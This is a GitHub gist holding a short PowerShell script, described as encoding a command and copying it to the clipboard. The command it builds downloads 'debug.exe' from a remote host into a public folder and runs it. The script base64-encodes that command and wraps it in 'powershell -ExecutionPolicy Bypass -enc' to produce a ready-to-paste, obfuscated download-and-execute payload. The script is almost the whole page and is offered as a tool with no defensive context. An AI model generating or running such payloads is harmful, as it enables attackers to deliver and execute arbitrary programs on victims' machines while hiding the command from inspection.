Skip to content

Instantly share code, notes, and snippets.

@ressl
Last active February 5, 2023 10:50
Show Gist options
  • Save ressl/5e52c671feae4668c9d31247af876335 to your computer and use it in GitHub Desktop.
Save ressl/5e52c671feae4668c9d31247af876335 to your computer and use it in GitHub Desktop.
PowerShell script to encode command and set to clipboard
$remoteHost = '192.168.108.1'
$remoteFile = 'debug.exe'
$destSource = 'C:\Users\Public\debug.exe'
$psInject = "Invoke-WebRequest -Uri http://$remoteHost/$remoteFile -Outfile $destSource; $destSource"
$encInject = [Convert]::ToBase64String([System.Text.Encoding]::Unicode.GetBytes($psInject))
$executeCMD = 'powershell -ExecutionPolicy Bypass -enc ' + $encInject
Write-Host $executeCMD
Set-Clipboard -Value $executeCMD
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment